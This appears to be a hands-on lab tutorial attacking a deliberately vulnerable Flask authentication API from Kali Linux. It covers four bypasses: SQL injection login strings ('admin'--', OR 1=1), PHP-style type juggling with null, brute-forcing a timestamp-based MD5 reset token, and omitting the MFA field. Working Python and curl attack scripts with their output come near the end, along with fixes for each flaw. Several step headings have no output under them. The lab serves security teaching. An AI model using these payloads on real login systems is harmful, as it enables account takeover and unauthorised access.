Attack a live authentication system from Kali Linux and bypass it using four different techniques:
SQL Injection login bypass — use admin'-- and OR 1=1 to log in without a password
Type juggling — exploit loose PHP-style comparison to bypass a password == 0 check with null
Predictable reset token — brute-force a timestamp-based MD5 reset token
MFA bypass — skip multi-factor authentication by omitting the field entirely
Every attack runs from Kali against a live Flask API — real SQL execution, real JWT tokens returned.
Background
Authentication bypass is one of the oldest and most impactful vulnerability classes. An attacker who bypasses authentication skips every downstream authorization check — they have full access to whatever that account could do.
Real-world examples:
2019 Capital One — IAM misconfiguration; attacker bypassed intended auth flow via SSRF
2023 Cisco IOS XE (CVE-2023-20198) — unauthenticated remote access via auth bypass; 50,000+ devices compromised in 48 hours
2021 GitLab (CVE-2021-22205) — ExifTool XXE bypass led to unauthenticated RCE; 50,000+ servers exposed
2020 SolarWinds Orion — hardcoded solarwinds123 password; no MFA = total bypass
Step 1: Environment Setup — Launch the Victim Auth Server
📸 Verified Output:
Step 2: Launch the Kali Attacker Container
📸 Verified Output:
Step 3: SQL Injection Login Bypass — admin'--
📸 Verified Output:
💡 admin'-- works because -- is SQL's line comment. The query becomes SELECT * FROM users WHERE username='admin' — the AND password=... clause is erased. The database finds user admin and returns the row regardless of the password. Fix: always use parameterised queries — db.execute("... WHERE username=? AND password=?", (u, p)).
Step 4: Type Juggling — Bypass with null
📸 Verified Output:
💡 PHP's == operator is the root cause. In PHP, "0" == false, 0 == null, "" == false all return true. This happens because PHP converts both sides to the same type before comparing. If a stored password hash starts with 0e (e.g., MD5 of 240610708 is 0e462097431906509019562988736854), it's treated as scientific notation 0 × 10^... = 0, making any password that also hashes to 0e... match. Fix: always use === (strict equality) in PHP, and bcrypt/argon2 which never produce 0e output.
Step 5: Predict the Password Reset Token
📸 Verified Output:
Step 6: MFA Bypass — Omit the Field
📸 Verified Output:
💡 data.get('mfa_code') returns None when the field is absent — and the server treats None as "MFA not started" rather than "MFA missing". Fix: explicitly require the field — if 'mfa_code' not in data: return 401. Never use absence of a field to mean "skip this check". MFA must be verified positively, not conditionally.
echo "=== Brute-force timestamp-based MD5 reset token ==="
python3 << 'EOF'
import urllib.request, json, hashlib, time
TARGET = "http://victim-a13:5000"
# Step 1: trigger reset (attacker knows alice's username)
print("[*] Requesting password reset for alice...")
req = urllib.request.Request(
f"{TARGET}/api/reset/request",
data=json.dumps({"username": "alice"}).encode(),
headers={"Content-Type": "application/json"})
resp = json.loads(urllib.request.urlopen(req).read())
print(f" Server: {resp['message']}")
real_token = resp.get('debug_token','') # leaked in this lab; in real apps attacker brute-forces
# Step 2: Brute-force — token = MD5(username + timestamp)[:8]
# Attacker knows username, guesses timestamp (within ±10s of now)
print()
print("[*] Brute-forcing token (MD5 of username + unix timestamp)...")
ts_now = int(time.time())
found = False
for ts in range(ts_now - 10, ts_now + 2):
candidate = hashlib.md5(f"alice{ts}".encode()).hexdigest()[:8]
match = "✓ MATCH!" if candidate == real_token else ""
print(f" ts={ts}: {candidate} {match}")
if match:
found = True
# Step 3: use token to reset password
req2 = urllib.request.Request(
f"{TARGET}/api/reset/confirm",
data=json.dumps({"token": candidate}).encode(),
headers={"Content-Type": "application/json"})
result = json.loads(urllib.request.urlopen(req2).read())
print()
print(f"[!] Token accepted! {result}")
break
if not found:
print("[?] Token not found in ±10s window — try wider range")
EOF
[*] Requesting password reset for alice...
Server: Reset link sent
[*] Brute-forcing token...
ts=1741085400: a3f8c2d1
ts=1741085401: b7e4f9c2
ts=1741085402: cdc4184f ✓ MATCH!
[!] Token accepted! {'message': 'Password reset!', 'access_for': 'alice'}
echo "=== MFA bypass: simply don't send the mfa_code field ==="
echo "[1] With correct MFA code (legitimate):"
curl -s -X POST -H "Content-Type: application/json" \
-d '{"username":"admin","password":"admin","mfa_code":"MFA123"}' \
$TARGET/api/login-mfa
echo ""
echo "[2] With wrong MFA code (rejected):"
curl -s -X POST -H "Content-Type: application/json" \
-d '{"username":"admin","password":"admin","mfa_code":"000000"}' \
$TARGET/api/login-mfa
echo ""
echo "[3] MFA bypass — omit the mfa_code field entirely:"
# Server checks: if mfa is None: skip MFA
# mfa = data.get('mfa_code') — returns None if key absent
curl -s -X POST -H "Content-Type: application/json" \
-d '{"username":"admin","password":"admin"}' \
$TARGET/api/login-mfa
echo ""
echo "[4] MFA bypass with null value:"
curl -s -X POST -H "Content-Type: application/json" \
-d '{"username":"admin","password":"admin","mfa_code":null}' \
$TARGET/api/login-mfa
[1] {"mfa": "verified", "token": "tok_admin"}
[2] {"error": "Invalid MFA code"}
[3] {"note": "MFA skipped — field not present", "token": "tok_admin"}
[4] {"note": "MFA skipped — field not present", "token": "tok_admin"}
echo "=== Chained: bypass both password AND MFA in sequence ==="
python3 << 'EOF'
import urllib.request, json
TARGET = "http://victim-a13:5000"
print("[Phase 1] SQLi to bypass password, get username...")
# Login with SQLi to discover valid users
payload = {"username": "' OR 1=1--", "password": "x"}
req = urllib.request.Request(
f"{TARGET}/api/login",
data=json.dumps(payload).encode(),
headers={"Content-Type": "application/json"})
resp = json.loads(urllib.request.urlopen(req).read())
username = resp['user']['username']
mfa_secret = resp['user']['mfa_secret']
print(f" Found user: {username} MFA secret: {mfa_secret}")
print()
print("[Phase 2] Use discovered creds on MFA endpoint without MFA code...")
req2 = urllib.request.Request(
f"{TARGET}/api/login-mfa",
data=json.dumps({"username": username, "password": resp['user']['password']}).encode(),
headers={"Content-Type": "application/json"})
resp2 = json.loads(urllib.request.urlopen(req2).read())
print(f" Result: {resp2}")
print()
print("[!] Full auth bypass in 2 HTTP requests — no password or MFA needed")
EOF
[Phase 1] Found user: admin MFA secret: MFA123
[Phase 2] Result: {'note': 'MFA skipped — field not present', 'token': 'tok_admin'}
[!] Full auth bypass in 2 HTTP requests — no password or MFA needed